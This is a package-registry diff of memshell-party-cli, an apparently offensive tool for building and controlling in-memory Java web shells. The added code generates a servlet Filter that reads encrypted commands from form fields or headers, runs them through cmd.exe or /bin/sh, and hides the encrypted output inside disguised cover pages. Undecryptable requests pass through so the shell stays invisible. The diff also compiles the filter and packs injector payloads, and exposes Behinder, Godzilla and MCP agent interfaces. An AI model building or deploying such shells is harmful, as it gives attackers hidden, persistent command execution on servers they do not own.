memshell-party-cli 0.3.4 → 0.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +1451 -160
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +208 -2
- package/dist/index.js +496 -5
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/resources/javax.servlet-api-3.1.0.jar +0 -0
- package/skills/memshell-party/SKILL.md +195 -1
package/dist/index.js
CHANGED
|
@@ -631,15 +631,25 @@ function postRaw(url, body, options = {}) {
|
|
|
631
631
|
if (!isHttps && target.protocol !== "http:") {
|
|
632
632
|
return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
|
|
633
633
|
}
|
|
634
|
+
let proxy = null;
|
|
635
|
+
if (!isHttps && process.env.MEMPARTY_PROXY) {
|
|
636
|
+
try {
|
|
637
|
+
proxy = new URL(process.env.MEMPARTY_PROXY);
|
|
638
|
+
} catch {
|
|
639
|
+
return Promise.reject(
|
|
640
|
+
new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
|
|
641
|
+
);
|
|
642
|
+
}
|
|
643
|
+
}
|
|
634
644
|
return new Promise((resolve2, reject) => {
|
|
635
645
|
const started = Date.now();
|
|
636
646
|
const transport = isHttps ? https : http;
|
|
637
647
|
const req = transport.request(
|
|
638
648
|
{
|
|
639
649
|
method: "POST",
|
|
640
|
-
hostname: target.hostname,
|
|
641
|
-
port: target.port || (isHttps ? 443 : 80),
|
|
642
|
-
path: `${target.pathname}${target.search}`,
|
|
650
|
+
hostname: proxy ? proxy.hostname : target.hostname,
|
|
651
|
+
port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
|
|
652
|
+
path: proxy ? target.toString() : `${target.pathname}${target.search}`,
|
|
643
653
|
// agent:false — never reuse a pooled socket. A shell server may close
|
|
644
654
|
// the connection right after an empty response, and reusing such a
|
|
645
655
|
// socket surfaces as a spurious ECONNRESET on the next probe.
|
|
@@ -1814,7 +1824,8 @@ function autoSaveShell(conn) {
|
|
|
1814
1824
|
headerName: conn.headerName,
|
|
1815
1825
|
headerValue: conn.headerValue,
|
|
1816
1826
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1817
|
-
insecure: conn.insecure
|
|
1827
|
+
insecure: conn.insecure,
|
|
1828
|
+
profile: conn.profile
|
|
1818
1829
|
});
|
|
1819
1830
|
return `${projectName}/${shellName}`;
|
|
1820
1831
|
}
|
|
@@ -1856,7 +1867,7 @@ function resolveConnection(ref, flags) {
|
|
|
1856
1867
|
throw new Error("no URL \u2014 pass --url or a saved target name");
|
|
1857
1868
|
}
|
|
1858
1869
|
if (!tool) {
|
|
1859
|
-
throw new Error("--tool is required
|
|
1870
|
+
throw new Error("--tool is required \u2014 see the command's --help for available protocols");
|
|
1860
1871
|
}
|
|
1861
1872
|
return {
|
|
1862
1873
|
url,
|
|
@@ -1867,6 +1878,7 @@ function resolveConnection(ref, flags) {
|
|
|
1867
1878
|
headerValue: flags.headerValue ?? stored?.headerValue,
|
|
1868
1879
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1869
1880
|
insecure: flags.insecure ?? stored?.insecure,
|
|
1881
|
+
profile: flags.profile ?? stored?.profile,
|
|
1870
1882
|
targetName
|
|
1871
1883
|
};
|
|
1872
1884
|
}
|
|
@@ -2622,32 +2634,511 @@ async function startMcpStdio(client) {
|
|
|
2622
2634
|
const transport = new StdioServerTransport();
|
|
2623
2635
|
await server.connect(transport);
|
|
2624
2636
|
}
|
|
2637
|
+
|
|
2638
|
+
// src/connect/mimic-codecs.ts
|
|
2639
|
+
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
2640
|
+
var LEGACY_CIPHER = {
|
|
2641
|
+
algorithm: "aes-ecb",
|
|
2642
|
+
encoding: "base64",
|
|
2643
|
+
padTail: false,
|
|
2644
|
+
marker: "js-var"
|
|
2645
|
+
};
|
|
2646
|
+
function resolveCipher(partial) {
|
|
2647
|
+
return { ...LEGACY_CIPHER, ...partial ?? {} };
|
|
2648
|
+
}
|
|
2649
|
+
function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2650
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2651
|
+
if (cipher.marker === "html-comment") {
|
|
2652
|
+
const left2 = `<!--Re${id}_config:`;
|
|
2653
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2654
|
+
}
|
|
2655
|
+
const left = `var Re${id}_config="`;
|
|
2656
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2657
|
+
}
|
|
2658
|
+
|
|
2659
|
+
// src/custom/build.ts
|
|
2660
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
|
|
2661
|
+
import { join as join6 } from "path";
|
|
2662
|
+
|
|
2663
|
+
// src/core/site-profile.ts
|
|
2664
|
+
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
|
|
2665
|
+
import { homedir as homedir4 } from "os";
|
|
2666
|
+
import { join as join5 } from "path";
|
|
2667
|
+
function profileTemplates(profile) {
|
|
2668
|
+
if (Array.isArray(profile.templates) && profile.templates.length > 0) {
|
|
2669
|
+
return profile.templates;
|
|
2670
|
+
}
|
|
2671
|
+
if (profile.template) {
|
|
2672
|
+
return [
|
|
2673
|
+
{
|
|
2674
|
+
title: profile.title ?? "",
|
|
2675
|
+
template: profile.template,
|
|
2676
|
+
contentType: profile.contentType ?? "text/html; charset=utf-8"
|
|
2677
|
+
}
|
|
2678
|
+
];
|
|
2679
|
+
}
|
|
2680
|
+
return [];
|
|
2681
|
+
}
|
|
2682
|
+
function profileRequests(profile) {
|
|
2683
|
+
if (!profile.request) return [];
|
|
2684
|
+
return Array.isArray(profile.request) ? profile.request : [profile.request];
|
|
2685
|
+
}
|
|
2686
|
+
|
|
2687
|
+
// src/custom/java-template.ts
|
|
2688
|
+
function javaStringLiteral(s) {
|
|
2689
|
+
return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
|
|
2690
|
+
}
|
|
2691
|
+
var MD5_METHOD = String.raw`
|
|
2692
|
+
static String md5Hex(String s) throws Exception {
|
|
2693
|
+
MessageDigest m = MessageDigest.getInstance("MD5");
|
|
2694
|
+
byte[] d = m.digest(s.getBytes("UTF-8"));
|
|
2695
|
+
StringBuilder sb = new StringBuilder();
|
|
2696
|
+
for (byte b : d) sb.append(String.format("%02x", b & 0xff));
|
|
2697
|
+
return sb.toString();
|
|
2698
|
+
}
|
|
2699
|
+
`;
|
|
2700
|
+
function cryptMethod(algorithm) {
|
|
2701
|
+
switch (algorithm) {
|
|
2702
|
+
case "aes-ecb":
|
|
2703
|
+
return String.raw`
|
|
2704
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2705
|
+
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
|
|
2706
|
+
c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
|
|
2707
|
+
new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
|
|
2708
|
+
return c.doFinal(data);
|
|
2709
|
+
}
|
|
2710
|
+
`;
|
|
2711
|
+
case "aes-cbc":
|
|
2712
|
+
return String.raw`
|
|
2713
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2714
|
+
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
|
2715
|
+
SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
|
|
2716
|
+
if (enc) {
|
|
2717
|
+
byte[] iv = new byte[16];
|
|
2718
|
+
new java.security.SecureRandom().nextBytes(iv);
|
|
2719
|
+
c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
|
|
2720
|
+
byte[] ct = c.doFinal(data);
|
|
2721
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2722
|
+
bos.write(iv);
|
|
2723
|
+
bos.write(ct);
|
|
2724
|
+
return bos.toByteArray();
|
|
2725
|
+
}
|
|
2726
|
+
c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
|
|
2727
|
+
return c.doFinal(data, 16, data.length - 16);
|
|
2728
|
+
}
|
|
2729
|
+
`;
|
|
2730
|
+
case "xor":
|
|
2731
|
+
return String.raw`
|
|
2732
|
+
static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
|
|
2733
|
+
byte[] k = key.getBytes("UTF-8");
|
|
2734
|
+
byte[] out = new byte[data.length];
|
|
2735
|
+
for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
|
|
2736
|
+
return out;
|
|
2737
|
+
}
|
|
2738
|
+
`;
|
|
2739
|
+
}
|
|
2740
|
+
}
|
|
2741
|
+
function encDecMethods(encoding) {
|
|
2742
|
+
switch (encoding) {
|
|
2743
|
+
case "base64":
|
|
2744
|
+
return String.raw`
|
|
2745
|
+
static String enc(byte[] data) {
|
|
2746
|
+
return java.util.Base64.getEncoder().encodeToString(data);
|
|
2747
|
+
}
|
|
2748
|
+
static byte[] dec(String s) {
|
|
2749
|
+
return java.util.Base64.getDecoder().decode(s);
|
|
2750
|
+
}
|
|
2751
|
+
`;
|
|
2752
|
+
case "base64url":
|
|
2753
|
+
return String.raw`
|
|
2754
|
+
static String enc(byte[] data) {
|
|
2755
|
+
return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
|
|
2756
|
+
}
|
|
2757
|
+
static byte[] dec(String s) {
|
|
2758
|
+
return java.util.Base64.getUrlDecoder().decode(s);
|
|
2759
|
+
}
|
|
2760
|
+
`;
|
|
2761
|
+
case "hex":
|
|
2762
|
+
return String.raw`
|
|
2763
|
+
static String enc(byte[] data) {
|
|
2764
|
+
StringBuilder sb = new StringBuilder();
|
|
2765
|
+
for (byte b : data) sb.append(String.format("%02x", b & 0xff));
|
|
2766
|
+
return sb.toString();
|
|
2767
|
+
}
|
|
2768
|
+
static byte[] dec(String s) {
|
|
2769
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2770
|
+
for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
|
|
2771
|
+
return bos.toByteArray();
|
|
2772
|
+
}
|
|
2773
|
+
`;
|
|
2774
|
+
}
|
|
2775
|
+
}
|
|
2776
|
+
var PAD_METHODS = String.raw`
|
|
2777
|
+
static int padLen(String aesKey) throws Exception {
|
|
2778
|
+
return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
|
|
2779
|
+
}
|
|
2780
|
+
static String appendPad(String s, String aesKey) throws Exception {
|
|
2781
|
+
int n = padLen(aesKey);
|
|
2782
|
+
StringBuilder sb = new StringBuilder(s);
|
|
2783
|
+
java.util.Random r = new java.util.Random();
|
|
2784
|
+
for (int i = 0; i < n; i++) {
|
|
2785
|
+
sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
|
|
2786
|
+
}
|
|
2787
|
+
return sb.toString();
|
|
2788
|
+
}
|
|
2789
|
+
static String stripPad(String s, String aesKey) throws Exception {
|
|
2790
|
+
int n = padLen(aesKey);
|
|
2791
|
+
return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
|
|
2792
|
+
}
|
|
2793
|
+
`;
|
|
2794
|
+
function fieldTransforms(cipher) {
|
|
2795
|
+
const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
|
|
2796
|
+
const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
|
|
2797
|
+
return `
|
|
2798
|
+
static String encryptField(byte[] plain, String aesKey) throws Exception {
|
|
2799
|
+
String s = enc(crypt(plain, aesKey, true));
|
|
2800
|
+
return ${afterEncode};
|
|
2801
|
+
}
|
|
2802
|
+
static byte[] decryptField(String v, String aesKey) throws Exception {
|
|
2803
|
+
String s = ${beforeDecode};
|
|
2804
|
+
return crypt(dec(s), aesKey, false);
|
|
2805
|
+
}
|
|
2806
|
+
`;
|
|
2807
|
+
}
|
|
2808
|
+
function wrapPayloadMethod(marker) {
|
|
2809
|
+
if (marker === "html-comment") {
|
|
2810
|
+
return String.raw`
|
|
2811
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2812
|
+
return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
|
|
2813
|
+
}
|
|
2814
|
+
`;
|
|
2815
|
+
}
|
|
2816
|
+
return String.raw`
|
|
2817
|
+
static String wrapPayload(String payload, String passKey) throws Exception {
|
|
2818
|
+
return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
|
|
2819
|
+
}
|
|
2820
|
+
`;
|
|
2821
|
+
}
|
|
2822
|
+
function sharedMethods(cipher) {
|
|
2823
|
+
return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
|
|
2824
|
+
}
|
|
2825
|
+
function renderFilterJava(opts) {
|
|
2826
|
+
const { className, pass, secret, fields, templates, cipher } = opts;
|
|
2827
|
+
const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
|
|
2828
|
+
const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
|
|
2829
|
+
return `package mimic;
|
|
2830
|
+
|
|
2831
|
+
import java.io.*;
|
|
2832
|
+
import java.security.MessageDigest;
|
|
2833
|
+
import javax.crypto.Cipher;
|
|
2834
|
+
import javax.crypto.spec.IvParameterSpec;
|
|
2835
|
+
import javax.crypto.spec.SecretKeySpec;
|
|
2836
|
+
import javax.servlet.*;
|
|
2837
|
+
import javax.servlet.http.*;
|
|
2838
|
+
|
|
2839
|
+
/**
|
|
2840
|
+
* mimic protocol server (matches src/connect/mimic-codecs.ts):
|
|
2841
|
+
* cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
|
|
2842
|
+
*
|
|
2843
|
+
* Detection uses getParameter()/getHeader() only, never reads the body
|
|
2844
|
+
* stream: form posts are parsed+cached by the container so downstream
|
|
2845
|
+
* getParameter() callers still work, and raw-body posts (Behinder) keep an
|
|
2846
|
+
* untouched body stream for the shell behind us. Anything that is not ours
|
|
2847
|
+
* falls through chain.doFilter; any error answers with the cover page.
|
|
2848
|
+
*/
|
|
2849
|
+
public class ${className} implements Filter {
|
|
2850
|
+
/** carriers that may hold the ciphertext (form fields / headers, from the profile) */
|
|
2851
|
+
static final String[] FIELDS = { ${fieldsJava} };
|
|
2852
|
+
/** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
|
|
2853
|
+
static final String PASS = "${javaStringLiteral(pass)}";
|
|
2854
|
+
static final String SECRET = "${javaStringLiteral(secret)}";
|
|
2855
|
+
/** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
|
|
2856
|
+
static final String[] TPLS = {
|
|
2857
|
+
${tplsJava}
|
|
2858
|
+
};
|
|
2859
|
+
|
|
2860
|
+
public void init(FilterConfig filterConfig) {}
|
|
2861
|
+
public void destroy() {}
|
|
2862
|
+
${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
|
|
2863
|
+
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
|
|
2864
|
+
throws IOException, ServletException {
|
|
2865
|
+
String value = null;
|
|
2866
|
+
for (String f : FIELDS) {
|
|
2867
|
+
value = request.getParameter(f);
|
|
2868
|
+
if (value == null && request instanceof HttpServletRequest) {
|
|
2869
|
+
// secretIn=header: the ciphertext may ride a header instead of a form field
|
|
2870
|
+
value = ((HttpServletRequest) request).getHeader(f);
|
|
2871
|
+
}
|
|
2872
|
+
if (value != null) break;
|
|
2873
|
+
}
|
|
2874
|
+
if (value == null) {
|
|
2875
|
+
chain.doFilter(request, response);
|
|
2876
|
+
return;
|
|
2877
|
+
}
|
|
2878
|
+
String aesKey;
|
|
2879
|
+
byte[] cmd;
|
|
2880
|
+
try {
|
|
2881
|
+
aesKey = md5Hex(SECRET).substring(0, 16);
|
|
2882
|
+
cmd = decryptField(value, aesKey);
|
|
2883
|
+
} catch (Exception notOurs) {
|
|
2884
|
+
// the field exists but doesn't decrypt \u2014 this is someone else's
|
|
2885
|
+
// legitimate form (e.g. the real login POST), stay invisible
|
|
2886
|
+
chain.doFilter(request, response);
|
|
2887
|
+
return;
|
|
2888
|
+
}
|
|
2889
|
+
String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
|
|
2890
|
+
try {
|
|
2891
|
+
String command = new String(cmd, "UTF-8");
|
|
2892
|
+
boolean win = System.getProperty("os.name").toLowerCase().contains("win");
|
|
2893
|
+
ProcessBuilder pb = win
|
|
2894
|
+
? new ProcessBuilder("cmd.exe", "/c", command)
|
|
2895
|
+
: new ProcessBuilder("/bin/sh", "-c", command);
|
|
2896
|
+
pb.redirectErrorStream(true);
|
|
2897
|
+
Process proc = pb.start();
|
|
2898
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2899
|
+
InputStream in = proc.getInputStream();
|
|
2900
|
+
byte[] buf = new byte[8192];
|
|
2901
|
+
int n;
|
|
2902
|
+
while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
|
|
2903
|
+
proc.waitFor();
|
|
2904
|
+
String payload = encryptField(bos.toByteArray(), aesKey);
|
|
2905
|
+
String fragment = wrapPayload(payload, PASS + SECRET);
|
|
2906
|
+
int idx = tpl.toLowerCase().lastIndexOf("</body>");
|
|
2907
|
+
String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
|
|
2908
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2909
|
+
response.setCharacterEncoding("UTF-8");
|
|
2910
|
+
response.getWriter().write(page);
|
|
2911
|
+
} catch (Exception e) {
|
|
2912
|
+
// behave like the cover page on any error \u2014 stay quiet
|
|
2913
|
+
response.setContentType("text/html;charset=UTF-8");
|
|
2914
|
+
response.getWriter().write(tpl);
|
|
2915
|
+
}
|
|
2916
|
+
}
|
|
2917
|
+
}
|
|
2918
|
+
`;
|
|
2919
|
+
}
|
|
2920
|
+
function renderCryptoProbe(cipher) {
|
|
2921
|
+
return `import java.io.*;
|
|
2922
|
+
import java.security.MessageDigest;
|
|
2923
|
+
import javax.crypto.Cipher;
|
|
2924
|
+
import javax.crypto.spec.IvParameterSpec;
|
|
2925
|
+
import javax.crypto.spec.SecretKeySpec;
|
|
2926
|
+
|
|
2927
|
+
/** Cross-language test harness \u2014 shares every snippet with the mimic filter. */
|
|
2928
|
+
public class CryptoProbe {
|
|
2929
|
+
${sharedMethods(cipher)}
|
|
2930
|
+
static String bytesToHex(byte[] data) {
|
|
2931
|
+
StringBuilder sb = new StringBuilder();
|
|
2932
|
+
for (byte b : data) sb.append(String.format("%02x", b & 0xff));
|
|
2933
|
+
return sb.toString();
|
|
2934
|
+
}
|
|
2935
|
+
static byte[] hexToBytes(String s) {
|
|
2936
|
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
2937
|
+
for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
|
|
2938
|
+
return bos.toByteArray();
|
|
2939
|
+
}
|
|
2940
|
+
|
|
2941
|
+
public static void main(String[] args) throws Exception {
|
|
2942
|
+
String aesKey = md5Hex(args[1]).substring(0, 16);
|
|
2943
|
+
if ("enc".equals(args[0])) {
|
|
2944
|
+
// hex plaintext on argv -> wire value on stdout
|
|
2945
|
+
System.out.println(encryptField(hexToBytes(args[2]), aesKey));
|
|
2946
|
+
} else {
|
|
2947
|
+
// wire value on argv -> hex plaintext on stdout
|
|
2948
|
+
System.out.println(bytesToHex(decryptField(args[2], aesKey)));
|
|
2949
|
+
}
|
|
2950
|
+
}
|
|
2951
|
+
}
|
|
2952
|
+
`;
|
|
2953
|
+
}
|
|
2954
|
+
|
|
2955
|
+
// src/custom/javac.ts
|
|
2956
|
+
import { execFileSync } from "child_process";
|
|
2957
|
+
import { existsSync as existsSync5 } from "fs";
|
|
2958
|
+
import { fileURLToPath } from "url";
|
|
2959
|
+
function servletApiJar() {
|
|
2960
|
+
const candidates = [
|
|
2961
|
+
new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
|
|
2962
|
+
// dist/*.js
|
|
2963
|
+
new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
|
|
2964
|
+
// src/custom/*.ts
|
|
2965
|
+
];
|
|
2966
|
+
for (const candidate of candidates) {
|
|
2967
|
+
const p = fileURLToPath(candidate);
|
|
2968
|
+
if (existsSync5(p)) return p;
|
|
2969
|
+
}
|
|
2970
|
+
throw new Error(
|
|
2971
|
+
"bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
|
|
2972
|
+
);
|
|
2973
|
+
}
|
|
2974
|
+
function findJavac() {
|
|
2975
|
+
try {
|
|
2976
|
+
execFileSync("javac", ["-version"], { stdio: "pipe" });
|
|
2977
|
+
return "javac";
|
|
2978
|
+
} catch {
|
|
2979
|
+
throw new Error(
|
|
2980
|
+
"javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
|
|
2981
|
+
);
|
|
2982
|
+
}
|
|
2983
|
+
}
|
|
2984
|
+
function hasJavac() {
|
|
2985
|
+
try {
|
|
2986
|
+
findJavac();
|
|
2987
|
+
return true;
|
|
2988
|
+
} catch {
|
|
2989
|
+
return false;
|
|
2990
|
+
}
|
|
2991
|
+
}
|
|
2992
|
+
function compileJava(sources, outDir, opts = {}) {
|
|
2993
|
+
const javac = findJavac();
|
|
2994
|
+
const args = ["-encoding", "UTF-8", "--release", "8"];
|
|
2995
|
+
if (opts.classpath && opts.classpath.length > 0) {
|
|
2996
|
+
args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
|
|
2997
|
+
}
|
|
2998
|
+
args.push("-d", outDir, ...sources);
|
|
2999
|
+
execFileSync(javac, args, { stdio: "pipe" });
|
|
3000
|
+
}
|
|
3001
|
+
|
|
3002
|
+
// src/custom/build.ts
|
|
3003
|
+
function profileSecretFields(profile) {
|
|
3004
|
+
const shapes = profileRequests(profile);
|
|
3005
|
+
const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
|
|
3006
|
+
return fields.length > 0 ? fields : ["pass"];
|
|
3007
|
+
}
|
|
3008
|
+
function defaultClassName() {
|
|
3009
|
+
return `MimicFilter${randomString(4)}`;
|
|
3010
|
+
}
|
|
3011
|
+
async function buildCustomMemshell(input, client, deps = {}) {
|
|
3012
|
+
const compile = deps.compile ?? compileJava;
|
|
3013
|
+
const jarOf = deps.servletJar ?? servletApiJar;
|
|
3014
|
+
const className = input.className ?? defaultClassName();
|
|
3015
|
+
const shellType = input.shellType ?? "Filter";
|
|
3016
|
+
const urlPattern = input.urlPattern ?? "/*";
|
|
3017
|
+
const packer = input.packer ?? "DefaultBase64";
|
|
3018
|
+
const cipher = resolveCipher(input.profile.cipher);
|
|
3019
|
+
const templates = profileTemplates(input.profile).map((t) => t.template);
|
|
3020
|
+
if (templates.length === 0) {
|
|
3021
|
+
throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
|
|
3022
|
+
}
|
|
3023
|
+
const outDir = input.outDir;
|
|
3024
|
+
const packageDir = join6(outDir, "mimic");
|
|
3025
|
+
mkdirSync4(packageDir, { recursive: true });
|
|
3026
|
+
const javaSource = renderFilterJava({
|
|
3027
|
+
className,
|
|
3028
|
+
pass: input.pass,
|
|
3029
|
+
secret: input.secret,
|
|
3030
|
+
fields: profileSecretFields(input.profile),
|
|
3031
|
+
templates,
|
|
3032
|
+
cipher
|
|
3033
|
+
});
|
|
3034
|
+
const javaFile = join6(packageDir, `${className}.java`);
|
|
3035
|
+
writeFileSync5(javaFile, javaSource, "utf8");
|
|
3036
|
+
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
3037
|
+
const classFile = join6(packageDir, `${className}.class`);
|
|
3038
|
+
const shellClassBase64 = readFileSync6(classFile).toString("base64");
|
|
3039
|
+
const response = await client.generateMemShell({
|
|
3040
|
+
shellConfig: {
|
|
3041
|
+
server: input.server,
|
|
3042
|
+
shellTool: "Custom",
|
|
3043
|
+
shellType,
|
|
3044
|
+
targetJreVersion: resolveJreVersion(input.jdk ?? "java8")
|
|
3045
|
+
},
|
|
3046
|
+
shellToolConfig: {
|
|
3047
|
+
shellClassName: `mimic.${className}`,
|
|
3048
|
+
shellClassBase64
|
|
3049
|
+
},
|
|
3050
|
+
injectorConfig: { urlPattern },
|
|
3051
|
+
packer
|
|
3052
|
+
});
|
|
3053
|
+
const payloads = {};
|
|
3054
|
+
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
3055
|
+
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
3056
|
+
const file = join6(outDir, `payload-${name}.txt`);
|
|
3057
|
+
writeFileSync5(file, `${value}
|
|
3058
|
+
`, "utf8");
|
|
3059
|
+
payloads[name] = file;
|
|
3060
|
+
}
|
|
3061
|
+
} else if (response.packResult !== void 0) {
|
|
3062
|
+
const file = join6(outDir, "payload.txt");
|
|
3063
|
+
writeFileSync5(file, `${response.packResult}
|
|
3064
|
+
`, "utf8");
|
|
3065
|
+
payloads[packer] = file;
|
|
3066
|
+
}
|
|
3067
|
+
const result = {
|
|
3068
|
+
className,
|
|
3069
|
+
fullClassName: `mimic.${className}`,
|
|
3070
|
+
injectorClassName: response.memShellResult.injectorClassName,
|
|
3071
|
+
packer,
|
|
3072
|
+
server: input.server,
|
|
3073
|
+
shellType,
|
|
3074
|
+
urlPattern,
|
|
3075
|
+
pass: input.pass,
|
|
3076
|
+
secret: input.secret,
|
|
3077
|
+
cipher,
|
|
3078
|
+
response,
|
|
3079
|
+
files: {
|
|
3080
|
+
java: javaFile,
|
|
3081
|
+
classFile,
|
|
3082
|
+
manifest: join6(outDir, "manifest.json"),
|
|
3083
|
+
payloads
|
|
3084
|
+
}
|
|
3085
|
+
};
|
|
3086
|
+
const manifest = {
|
|
3087
|
+
tool: "mimic",
|
|
3088
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
3089
|
+
profile: input.profile.name,
|
|
3090
|
+
server: result.server,
|
|
3091
|
+
shellType: result.shellType,
|
|
3092
|
+
urlPattern: result.urlPattern,
|
|
3093
|
+
packer: result.packer,
|
|
3094
|
+
className: result.fullClassName,
|
|
3095
|
+
injectorClassName: result.injectorClassName,
|
|
3096
|
+
pass: result.pass,
|
|
3097
|
+
key: result.secret,
|
|
3098
|
+
cipher: result.cipher,
|
|
3099
|
+
note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
|
|
3100
|
+
connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
3101
|
+
files: result.files
|
|
3102
|
+
};
|
|
3103
|
+
writeFileSync5(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
3104
|
+
`, "utf8");
|
|
3105
|
+
return result;
|
|
3106
|
+
}
|
|
2625
3107
|
export {
|
|
2626
3108
|
ApiError,
|
|
2627
3109
|
CLI_VERSION,
|
|
2628
3110
|
DEFAULT_API_URL,
|
|
2629
3111
|
ENV_VAR,
|
|
2630
3112
|
JDK_VERSIONS,
|
|
3113
|
+
LEGACY_CIPHER,
|
|
2631
3114
|
MemPartyClient,
|
|
2632
3115
|
OUTPUT_LIMIT,
|
|
2633
3116
|
autoSaveShell,
|
|
3117
|
+
buildCustomMemshell,
|
|
2634
3118
|
buildMemShellRequest,
|
|
2635
3119
|
buildProbeRequest,
|
|
2636
3120
|
createMcpServer,
|
|
3121
|
+
defaultClassName,
|
|
3122
|
+
deriveMarkers,
|
|
2637
3123
|
emitPayload,
|
|
2638
3124
|
execBehinder,
|
|
2639
3125
|
execGodzilla,
|
|
2640
3126
|
formatOp,
|
|
2641
3127
|
getProject,
|
|
3128
|
+
hasJavac,
|
|
2642
3129
|
listProjects,
|
|
2643
3130
|
logOp,
|
|
2644
3131
|
marshalFrameBase64,
|
|
2645
3132
|
marshalSuo5Map,
|
|
2646
3133
|
opLogPath,
|
|
3134
|
+
profileSecretFields,
|
|
2647
3135
|
readOps,
|
|
2648
3136
|
removeProject,
|
|
2649
3137
|
removeShell,
|
|
3138
|
+
renderCryptoProbe,
|
|
3139
|
+
renderFilterJava,
|
|
2650
3140
|
resolveApiUrl,
|
|
3141
|
+
resolveCipher,
|
|
2651
3142
|
resolveConnection,
|
|
2652
3143
|
resolveJreVersion,
|
|
2653
3144
|
saveProjectMeta,
|